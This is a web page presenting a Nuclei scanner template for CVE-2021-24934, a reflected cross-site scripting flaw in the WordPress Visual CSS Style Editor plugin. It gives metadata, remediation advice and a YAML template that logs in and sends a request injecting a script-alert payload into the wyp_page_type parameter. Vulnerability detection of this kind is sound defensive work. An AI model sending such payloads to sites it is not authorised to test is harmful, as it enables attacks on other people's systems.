Visual CSS Style Editor < 7.5.4 - Cross-Site Scripting

ID: CVE-2021-24934

Severity: medium

Author: Splint3r7

Tags: cve,cve2021,wordpress,wp,wp-plugin,yellowpencil,xss,authenticated

Description

The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue

YAML Source

id: CVE-2021-24934

info:
  name: Visual CSS Style Editor < 7.5.4 - Cross-Site Scripting
  author: Splint3r7
  severity: medium
  description: |
    The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
  remediation: |
    Update to the latest version of plugin.
  reference:
    - https://wpscan.com/vulnerability/0aa5a8d5-e736-4cd3-abfd-8e0a356bb6ef/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24934
    cwe-id: CWE-79
    epss-score: 0.00076
    epss-percentile: 0.33981
    cpe: cpe:2.3:a:yellowpencil:visual_css_style_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: yellowpencil
    product: visual_css_style_editor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/yellow-pencil-visual-theme-customizer"
  tags: cve,cve2021,wordpress,wp,wp-plugin,yellowpencil,xss,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_mode=single&wyp_page_type=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "yellow-pencil-iframe-data")'
        condition: and
# digest: 4a0a00473045022050550dd4751ac878eaa0af6e79955288b134a4c300712016f86d839df506191f0221009e4d8e038c9c2096b3774ece4c15b60d68ebdeb48f6d888028cf728a238d200e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24934.yaml"

View on Github